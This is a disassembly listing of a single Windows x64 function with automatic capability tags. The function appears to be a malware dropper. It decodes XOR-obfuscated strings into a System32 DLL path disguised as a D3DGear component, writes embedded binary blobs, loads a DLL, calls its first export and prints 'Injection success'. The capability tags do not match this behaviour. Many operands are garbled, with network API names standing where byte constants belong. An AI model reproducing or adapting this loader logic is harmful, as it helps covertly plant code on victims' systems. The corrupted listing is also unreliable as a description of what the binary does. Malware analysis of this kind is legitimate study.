Function at 0x140002850
Capabilities:
Authenticate hmac
Encode data using xor

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x38]
sub rsp, 0x110
movaps xmmword [rax - 0x38], xmm6
movaps xmmword [rax - 0x48], xmm7
mov rax, qword [0x1400e6f00]
xor rax, rsp
mov qword [rbp - 0x20], rax
xor eax, eax
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x38], xmm1
mov qword [rbp - 0x28], rax
mov ecx, 0x566697
call fcn.1400b2660
test rax, rax
je 0x1400036a0
lea rcx, [rax + 0x27]
and rcx, 0xffffffffffffffe0
mov qword [rcx - 8], rax
mov qword [rbp - 0x38], rcx
lea rbx, [rcx + 0x566670]
mov qword [rbp - 0x28], rbx
mov r8d, 0x566670
lea rdx, [0x140121390]
call sub.VCRUNTIME140.dll_memmove
mov qword [rbp - 0x30], rbx
xor edx, edx
mov cl, 0x43
call fcn.140001df0
movzx edi, al
mov byte [rsp + 0x20], al
mov edx, 1
mov cl, 0x3a
call fcn.140001df0
movzx esi, al
mov byte [rsp + 0x21], al
mov edx, 2
mov cl, 0x5c
call fcn.140001df0
movzx r14d, al
mov byte [rsp + 0x22], al
mov edx, 3
mov cl, 0x57
call fcn.140001df0
movzx r15d, al
mov byte [rsp + 0x23], al
mov edx, 4
mov cl, 0x69
call fcn.140001df0
movzx r12d, al
mov byte [rsp + 0x24], al
mov edx, 5
mov cl, WSAGetLastError
call fcn.140001df0
movzx r13d, al
mov byte [rsp + 0x25], al
mov edx, 6
mov cl, 0x64
call fcn.140001df0
mov byte [rsp + 0x70], al
mov byte [rsp + 0x26], al
mov edx, 7
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.140001df0
mov byte [rsp + 0x71], al
mov byte [rsp + 0x27], al
mov edx, 8
mov cl, 0x77
call fcn.140001df0
mov byte [rsp + 0x72], al
mov byte [rsp + 0x28], al
mov edx, 9
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.140001df0
mov byte [rsp + 0x73], al
mov byte [rsp + 0x29], al
mov edx, 0xa
mov cl, 0x5c
call fcn.140001df0
mov byte [rsp + 0x74], al
mov byte [rsp + 0x2a], al
mov edx, ntohs
mov cl, 0x53
call fcn.140001df0
mov byte [rsp + 0x75], al
mov byte [rsp + 0x2b], al
mov edx, ntohs
mov cl, 0x79
call fcn.140001df0
mov byte [rsp + 0x76], al
mov byte [rsp + 0x2c], al
mov edx, reloc.WS2_32.dll_listen
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.140001df0
mov byte [rsp + 0x77], al
mov byte [rsp + 0x2d], al
mov edx, recvfrom
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.140001df0
mov byte [rsp + 0x78], al
mov byte [rsp + 0x2e], al
mov edx, reloc.WS2_32.dll_ntohs
mov cl, 0x65
call fcn.140001df0
mov byte [rsp + 0x79], al
mov byte [rsp + 0x2f], al
mov edx, reloc.WS2_32.dll_recv
mov cl, 0x6d
call fcn.140001df0
mov byte [rsp + 0x7a], al
mov byte [rsp + 0x30], al
mov edx, reloc.WS2_32.dll_recvfrom
mov cl, 0x33
call fcn.140001df0
mov byte [rsp + 0x7b], al
mov byte [rsp + 0x31], al
mov edx, reloc.WS2_32.dll_select
mov cl, 0x32
call fcn.140001df0
mov byte [rsp + 0x7c], al
mov byte [rsp + 0x32], al
mov edx, reloc.WS2_32.dll_send
mov cl, 0x5c
call fcn.140001df0
mov byte [rsp + 0x7d], al
mov byte [rsp + 0x33], al
mov edx, reloc.WS2_32.dll_sendto
mov cl, 0x64
call fcn.140001df0
mov byte [rsp + 0x7e], al
mov byte [rsp + 0x34], al
mov edx, reloc.WS2_32.dll_setsockopt
mov cl, 0x33
call fcn.140001df0
mov byte [rsp + 0x7f], al
mov byte [rsp + 0x35], al
mov edx, socket
mov cl, 0x64
call fcn.140001df0
mov byte [rbp - 0x80], al
mov byte [rsp + 0x36], al
mov edx, reloc.WS2_32.dll_socket
mov cl, 0x47
call fcn.140001df0
mov byte [rbp - 0x7f], al
mov byte [rsp + 0x37], al
mov edx, 0x18
mov cl, 0x65
call fcn.140001df0
mov byte [rbp - 0x7e], al
mov byte [rsp + 0x38], al
mov edx, 0x19
mov cl, 0x61
call fcn.140001df0
mov byte [rbp - 0x7d], al
mov byte [rsp + 0x39], al
mov edx, 0x1a
mov cl, WSAStartup
call fcn.140001df0
mov byte [rbp - 0x7c], al
mov byte [rsp + 0x3a], al
mov edx, 0x1b
mov cl, 0x36
call fcn.140001df0
mov byte [rsp + 0x3b], al
mov edx, 0x1c
mov cl, 0x34
call fcn.140001df0
mov byte [rsp + 0x3c], al
mov edx, 0x1d
mov cl, 0x2e
call fcn.140001df0
mov byte [rsp + 0x3d], al
mov edx, 0x1e
mov cl, 0x64
call fcn.140001df0
mov byte [rbp - 0x7b], al
mov byte [rsp + 0x3e], al
mov edx, 0x1f
mov cl, 0x6c
call fcn.140001df0
mov byte [rsp + 0x3f], al
mov edx, 0x20
call fcn.140001df0
mov byte [rsp + 0x40], al
xor eax, eax
mov byte [rsp + 0x41], al
movdqa xmm7, xmmword [0x1400d60a0]
xor r10d, r10d
movdqa xmm0, xmmword [0x1400d6110]
movdqa xmmword [rbp - 0x70], xmm0
movdqa xmmword [rsp + 0x50], xmm0
movdqa xmm6, xmmword [0x1400d6100]
mov r11d, dword [rbp - 0x70]
nop
movsxd r9, r10d
movd xmm1, r10d
pshufd xmm1, xmm1, 0
paddd xmm1, xmm7
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, r11d
paddb xmm1, xmm0
movd xmm0, dword [rsp + r9 + 0x20]
xorps xmm1, xmm0
movd dword [rsp + r9 + 0x20], xmm1
lea eax, [r10 + 7]
lea ecx, [r10 + 6]
lea edx, [r10 + 5]
lea r8d, [r10 + 4]
movd xmm1, eax
movd xmm2, ecx
movd xmm0, edx
movd xmm3, r8d
punpckldq xmm2, xmm1
punpckldq xmm3, xmm0
punpcklqdq xmm3, xmm2
andps xmm3, xmm6
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, r11d
paddb xmm3, xmm0
movd xmm0, dword [rsp + r9 + 0x24]
xorps xmm3, xmm0
movd dword [rsp + r9 + 0x24], xmm3
lea eax, [r10 + 0xb]
lea ecx, [r10 + 0xa]
lea edx, [r10 + 9]
lea r8d, [r10 + 8]
movd xmm1, eax
movd xmm2, ecx
movd xmm0, edx
movd xmm3, r8d
punpckldq xmm2, xmm1
punpckldq xmm3, xmm0
punpcklqdq xmm3, xmm2
andps xmm3, xmm6
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, r11d
paddb xmm3, xmm0
movd xmm0, dword [rsp + r9 + 0x28]
xorps xmm3, xmm0
movd dword [rsp + r9 + 0x28], xmm3
lea eax, [r10 + 0xf]
lea ecx, [r10 + 0xe]
lea edx, [r10 + 0xd]
lea r8d, [r10 + 0xc]
movd xmm1, eax
movd xmm2, ecx
movd xmm0, edx
movd xmm3, r8d
punpckldq xmm2, xmm1
punpckldq xmm3, xmm0
punpcklqdq xmm3, xmm2
andps xmm3, xmm6
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, r11d
paddb xmm3, xmm0
movd xmm0, dword [rsp + r9 + 0x2c]
xorps xmm3, xmm0
movd dword [rsp + r9 + 0x2c], xmm3
add r10d, 0x10
cmp r10d, 0x20
jb 0x140002b80
cmp r10d, 0x21
jae 0x140002cda
movsxd rax, r10d
lea rcx, [rsp + 0x20]
add rcx, rax
lea eax, [r10 + 0x13]
xor byte [rcx], al
inc r10d
cmp r10d, 0x21
jb 0x140002cc0
mov byte [rsp + 0x41], 0
lea rdx, [rsp + 0x20]
lea rcx, [rbp - 0x70]
call fcn.1400064c0
nop
lea rdx, [rbp - 0x70]
lea rcx, [rbp - 0x38]
call fcn.140001c10
nop
mov rdx, qword [rbp - 0x58]
cmp rdx, 0xf
jbe 0x140002d3a
inc rdx
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002d35
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002d35
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400b28e4
xor eax, eax
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x50], xmm1
mov qword [rbp - 0x40], rax
mov ecx, 0x3a427
call fcn.1400b2660
test rax, rax
je 0x140003699
lea rcx, [rax + 0x27]
and rcx, 0xffffffffffffffe0
mov qword [rcx - 8], rax
mov qword [rbp - 0x50], rcx
lea rbx, [rcx + 0x3a400]
mov qword [rbp - 0x40], rbx
mov r8d, 0x3a400
lea rdx, [0x1400e6f90]
call sub.VCRUNTIME140.dll_memmove
mov qword [rbp - 0x48], rbx
mov byte [rsp + 0x20], dil
mov byte [rsp + 0x21], sil
mov byte [rsp + 0x22], r14b
mov byte [rsp + 0x23], r15b
mov byte [rsp + 0x24], r12b
mov byte [rsp + 0x25], r13b
movzx eax, byte [rsp + 0x70]
mov byte [rsp + 0x26], al
movzx edi, byte [rsp + 0x71]
mov byte [rsp + 0x27], dil
movzx eax, byte [rsp + 0x72]
mov byte [rsp + 0x28], al
movzx eax, byte [rsp + 0x73]
mov byte [rsp + 0x29], al
movzx eax, byte [rsp + 0x74]
mov byte [rsp + 0x2a], al
movzx eax, byte [rsp + 0x75]
mov byte [rsp + 0x2b], al
movzx eax, byte [rsp + 0x76]
mov byte [rsp + 0x2c], al
movzx eax, byte [rsp + 0x77]
mov byte [rsp + 0x2d], al
movzx eax, byte [rsp + 0x78]
mov byte [rsp + 0x2e], al
movzx eax, byte [rsp + 0x79]
mov byte [rsp + 0x2f], al
movzx eax, byte [rsp + 0x7a]
mov byte [rsp + 0x30], al
movzx eax, byte [rsp + 0x7b]
mov byte [rsp + 0x31], al
movzx eax, byte [rsp + 0x7c]
mov byte [rsp + 0x32], al
movzx eax, byte [rsp + 0x7d]
mov byte [rsp + 0x33], al
movzx eax, byte [rsp + 0x7e]
mov byte [rsp + 0x34], al
movzx eax, byte [rsp + 0x7f]
mov byte [rsp + 0x35], al
movzx eax, byte [rbp - 0x80]
mov byte [rsp + 0x36], al
movzx eax, byte [rbp - 0x7f]
mov byte [rsp + 0x37], al
movzx eax, byte [rbp - 0x7e]
mov byte [rsp + 0x38], al
movzx eax, byte [rbp - 0x7d]
mov byte [rsp + 0x39], al
movzx eax, byte [rbp - 0x7c]
mov byte [rsp + 0x3a], al
mov edx, 0x1b
mov cl, 0x4c
call fcn.140001df0
mov byte [rsp + 0x3b], al
mov edx, 0x1c
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.140001df0
mov byte [rsp + 0x3c], al
mov edx, 0x1d
mov cl, 0x61
call fcn.140001df0
mov byte [rsp + 0x3d], al
movzx eax, byte [rbp - 0x7b]
mov byte [rsp + 0x3e], al
mov edx, 0x1f
mov cl, 0x36
call fcn.140001df0
mov byte [rsp + 0x3f], al
mov edx, 0x20
mov cl, 0x34
call fcn.140001df0
mov byte [rsp + 0x40], al
mov edx, 0x21
mov cl, 0x2e
call fcn.140001df0
mov byte [rsp + 0x41], al
mov edx, 0x22
mov cl, 0x64
call fcn.140001df0
mov byte [rsp + 0x42], al
mov edx, 0x23
mov cl, 0x6c
call fcn.140001df0
mov byte [rsp + 0x43], al
mov edx, 0x24
call fcn.140001df0
mov byte [rsp + 0x44], al
xor eax, eax
mov byte [rsp + 0x45], al
xor r10d, r10d
mov ebx, dword [rsp + 0x50]
nop word [rax + rax]
movsxd r9, r10d
movd xmm1, r10d
pshufd xmm1, xmm1, 0
paddd xmm1, xmm7
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, ebx
paddb xmm1, xmm0
movd xmm0, dword [rsp + r9 + 0x20]
xorps xmm1, xmm0
movd dword [rsp + r9 + 0x20], xmm1
lea eax, [r10 + 7]
lea ecx, [r10 + 6]
lea edx, [r10 + 5]
lea r8d, [r10 + 4]
movd xmm1, eax
movd xmm2, ecx
movd xmm0, edx
movd xmm3, r8d
punpckldq xmm2, xmm1
punpckldq xmm3, xmm0
punpcklqdq xmm3, xmm2
andps xmm3, xmm6
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, ebx
paddb xmm3, xmm0
movd xmm0, dword [rsp + r9 + 0x24]
xorps xmm3, xmm0
movd dword [rsp + r9 + 0x24], xmm3
lea eax, [r10 + 0xb]
lea ecx, [r10 + 0xa]
lea edx, [r10 + 9]
lea r8d, [r10 + 8]
movd xmm1, eax
movd xmm2, ecx
movd xmm0, edx
movd xmm3, r8d
punpckldq xmm2, xmm1
punpckldq xmm3, xmm0
punpcklqdq xmm3, xmm2
andps xmm3, xmm6
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, ebx
paddb xmm3, xmm0
movd xmm0, dword [rsp + r9 + 0x28]
xorps xmm3, xmm0
movd dword [rsp + r9 + 0x28], xmm3
lea eax, [r10 + 0xf]
lea ecx, [r10 + 0xe]
lea edx, [r10 + 0xd]
lea r8d, [r10 + 0xc]
movd xmm1, eax
movd xmm2, ecx
movd xmm0, edx
movd xmm3, r8d
punpckldq xmm2, xmm1
punpckldq xmm3, xmm0
punpcklqdq xmm3, xmm2
andps xmm3, xmm6
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, ebx
paddb xmm3, xmm0
movd xmm0, dword [rsp + r9 + 0x2c]
xorps xmm3, xmm0
movd dword [rsp + r9 + 0x2c], xmm3
add r10d, 0x10
cmp r10d, 0x20
jb 0x140002f10
cmp r10d, 0x25
jae 0x14000306a
nop dword [rax]
movsxd rax, r10d
lea rcx, [rsp + 0x20]
add rcx, rax
lea eax, [r10 + 0x13]
xor byte [rcx], al
inc r10d
cmp r10d, 0x25
jb 0x140003050
mov byte [rsp + 0x45], 0
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x50]
call fcn.1400064c0
nop
lea rdx, [rsp + 0x50]
lea rcx, [rbp - 0x50]
call fcn.140001c10
nop
mov rdx, qword [rsp + 0x68]
cmp rdx, 0xf
jbe 0x1400030ce
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400030c9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400030c9
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400b28e4
xor edx, edx
mov cl, 0x44
call fcn.140001df0
mov byte [rsp + 0x50], al
mov edx, 1
mov cl, 0x33
call fcn.140001df0
mov byte [rsp + 0x51], al
mov edx, 2
mov cl, 0x44
call fcn.140001df0
mov byte [rsp + 0x52], al
mov edx, 3
mov cl, 0x47
call fcn.140001df0
mov byte [rsp + 0x53], al
mov edx, 4
mov cl, 0x65
call fcn.140001df0
mov byte [rsp + 0x54], al
mov edx, 5
mov cl, 0x61
call fcn.140001df0
mov byte [rsp + 0x55], al
mov edx, 6
mov cl, WSAStartup
call fcn.140001df0
mov byte [rsp + 0x56], al
mov edx, 7
mov cl, 0x4c
call fcn.140001df0
mov byte [rsp + 0x57], al
mov edx, 8
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.140001df0
mov byte [rsp + 0x58], al
mov edx, 9
mov cl, 0x61
call fcn.140001df0
mov byte [rsp + 0x59], al
mov edx, 0xa
mov cl, 0x64
call fcn.140001df0
mov byte [rsp + 0x5a], al
mov edx, ntohs
mov cl, 0x36
call fcn.140001df0
mov byte [rsp + 0x5b], al
mov edx, ntohs
mov cl, 0x34
call fcn.140001df0
mov byte [rsp + 0x5c], al
mov edx, reloc.WS2_32.dll_listen
mov cl, 0x2e
call fcn.140001df0
mov byte [rsp + 0x5d], al
mov edx, recvfrom
mov cl, 0x64
call fcn.140001df0
mov byte [rsp + 0x5e], al
mov edx, reloc.WS2_32.dll_ntohs
mov cl, 0x6c
call fcn.140001df0
mov byte [rsp + 0x5f], al
mov edx, reloc.WS2_32.dll_recv
call fcn.140001df0
mov byte [rsp + 0x60], al
xor eax, eax
mov byte [rsp + 0x61], al
xor r10d, r10d
movsxd r9, r10d
movd xmm1, r10d
pshufd xmm1, xmm1, 0
paddd xmm1, xmm7
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, ebx
paddb xmm1, xmm0
movd xmm0, dword [rsp + r9 + 0x50]
xorps xmm1, xmm0
movd dword [rsp + r9 + 0x50], xmm1
lea eax, [r10 + 7]
lea ecx, [r10 + 6]
lea edx, [r10 + 5]
lea r8d, [r10 + 4]
movd xmm1, eax
movd xmm2, ecx
movd xmm0, edx
movd xmm3, r8d
punpckldq xmm2, xmm1
punpckldq xmm3, xmm0
punpcklqdq xmm3, xmm2
andps xmm3, xmm6
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, ebx
paddb xmm3, xmm0
movd xmm0, dword [rsp + r9 + 0x54]
xorps xmm3, xmm0
movd dword [rsp + r9 + 0x54], xmm3
lea eax, [r10 + 0xb]
lea ecx, [r10 + 0xa]
lea edx, [r10 + 9]
lea r8d, [r10 + 8]
movd xmm1, eax
movd xmm2, ecx
movd xmm0, edx
movd xmm3, r8d
punpckldq xmm2, xmm1
punpckldq xmm3, xmm0
punpcklqdq xmm3, xmm2
andps xmm3, xmm6
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, ebx
paddb xmm3, xmm0
movd xmm0, dword [rsp + r9 + 0x58]
xorps xmm3, xmm0
movd dword [rsp + r9 + 0x58], xmm3
lea eax, [r10 + 0xf]
lea ecx, [r10 + 0xe]
lea edx, [r10 + 0xd]
lea r8d, [r10 + 0xc]
movd xmm1, eax
movd xmm2, ecx
movd xmm0, edx
movd xmm3, r8d
punpckldq xmm2, xmm1
punpckldq xmm3, xmm0
punpcklqdq xmm3, xmm2
andps xmm3, xmm6
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, ebx
paddb xmm3, xmm0
movd xmm0, dword [rsp + r9 + 0x5c]
xorps xmm3, xmm0
movd dword [rsp + r9 + 0x5c], xmm3
add r10d, 0x10
cmp r10d, 0x10
jb 0x1400031e2
cmp r10d, 0x11
jae 0x14000333a
nop
movsxd rax, r10d
lea rcx, [rsp + 0x50]
add rcx, rax
lea eax, [r10 + 0x13]
xor byte [rcx], al
inc r10d
cmp r10d, 0x11
jb 0x140003320
mov byte [rsp + 0x61], 0
lea rcx, [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
mov edx, 1
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
xor edx, edx
mov cl, 0x49
call fcn.140001df0
mov byte [rsp + 0x50], al
mov edx, 1
mov cl, WSAGetLastError
call fcn.140001df0
mov byte [rsp + 0x51], al
mov edx, 2
mov cl, 0x6a
call fcn.140001df0
mov byte [rsp + 0x52], al
mov edx, 3
mov cl, 0x65
call fcn.140001df0
mov byte [rsp + 0x53], al
mov edx, 4
mov cl, 0x63
call fcn.140001df0
mov byte [rsp + 0x54], al
mov edx, 5
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.140001df0
mov byte [rsp + 0x55], al
mov edx, 6
mov cl, 0x69
call fcn.140001df0
mov byte [rsp + 0x56], al
mov byte [rsp + 0x57], dil
mov edx, 8
mov cl, WSAGetLastError
call fcn.140001df0
mov byte [rsp + 0x58], al
mov edx, 9
mov cl, 0x20
call fcn.140001df0
mov byte [rsp + 0x59], al
mov edx, 0xa
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.140001df0
mov byte [rsp + 0x5a], al
mov edx, ntohs
mov cl, 0x75
call fcn.140001df0
mov byte [rsp + 0x5b], al
mov edx, ntohs
mov cl, 0x63
call fcn.140001df0
mov byte [rsp + 0x5c], al
mov edx, reloc.WS2_32.dll_listen
call fcn.140001df0
mov byte [rsp + 0x5d], al
mov edx, recvfrom
mov cl, 0x65
call fcn.140001df0
mov byte [rsp + 0x5e], al
mov edx, reloc.WS2_32.dll_ntohs
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.140001df0
mov byte [rsp + 0x5f], al
mov edx, reloc.WS2_32.dll_recv
call fcn.140001df0
mov byte [rsp + 0x60], al
mov edx, reloc.WS2_32.dll_recvfrom
mov cl, 0xa
call fcn.140001df0
mov byte [rsp + 0x61], al
xor eax, eax
mov byte [rsp + 0x62], al
nop
movsxd r10, eax
movd xmm1, eax
pshufd xmm1, xmm1, 0
paddd xmm1, xmm7
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, ebx
paddb xmm1, xmm0
movd xmm0, dword [rsp + r10 + 0x50]
xorps xmm1, xmm0
movd dword [rsp + r10 + 0x50], xmm1
lea ecx, [rax + 7]
lea edx, [rax + 6]
lea r8d, [rax + 5]
lea r9d, [rax + 4]
movd xmm1, ecx
movd xmm2, edx
movd xmm0, r8d
movd xmm3, r9d
punpckldq xmm2, xmm1
punpckldq xmm3, xmm0
punpcklqdq xmm3, xmm2
andps xmm3, xmm6
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, ebx
paddb xmm3, xmm0
movd xmm0, dword [rsp + r10 + 0x54]
xorps xmm3, xmm0
movd dword [rsp + r10 + 0x54], xmm3
lea ecx, [rax + 0xb]
lea edx, [rax + 0xa]
lea r8d, [rax + 9]
lea r9d, [rax + 8]
movd xmm1, ecx
movd xmm2, edx
movd xmm0, r8d
movd xmm3, r9d
punpckldq xmm2, xmm1
punpckldq xmm3, xmm0
punpcklqdq xmm3, xmm2
andps xmm3, xmm6
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, ebx
paddb xmm3, xmm0
movd xmm0, dword [rsp + r10 + 0x58]
xorps xmm3, xmm0
movd dword [rsp + r10 + 0x58], xmm3
lea ecx, [rax + 0xf]
lea edx, [rax + 0xe]
lea r8d, [rax + 0xd]
lea r9d, [rax + 0xc]
movd xmm1, ecx
movd xmm2, edx
movd xmm0, r8d
movd xmm3, r9d
punpckldq xmm2, xmm1
punpckldq xmm3, xmm0
punpcklqdq xmm3, xmm2
andps xmm3, xmm6
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, ebx
paddb xmm3, xmm0
movd xmm0, dword [rsp + r10 + 0x5c]
xorps xmm3, xmm0
movd dword [rsp + r10 + 0x5c], xmm3
add eax, 0x10
cmp eax, 0x10
jb 0x140003470
cmp eax, 0x12
jae 0x1400035c7
nop word [rax + rax]
movsxd rcx, eax
lea rdx, [rsp + 0x50]
add rdx, rcx
lea ecx, [rax + 0x13]
xor byte [rdx], cl
inc eax
cmp eax, 0x12
jb 0x1400035b0
mov byte [rsp + 0x62], 0
lea rcx, [rsp + 0x50]
call fcn.140001930
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
nop
mov rcx, qword [rbp - 0x50]
test rcx, rcx
je 0x14000362c
mov rdx, qword [rbp - 0x40]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003617
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003699
call fcn.1400b28e4
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x50], xmm0
mov qword [rbp - 0x40], 0
mov rcx, qword [rbp - 0x38]
test rcx, rcx
je 0x140003662
mov rdx, qword [rbp - 0x28]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000365d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400036a0
call fcn.1400b28e4
mov rcx, qword [rbp - 0x20]
xor rcx, rsp
call fcn.1400b2640
lea r11, [rsp + 0x110]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3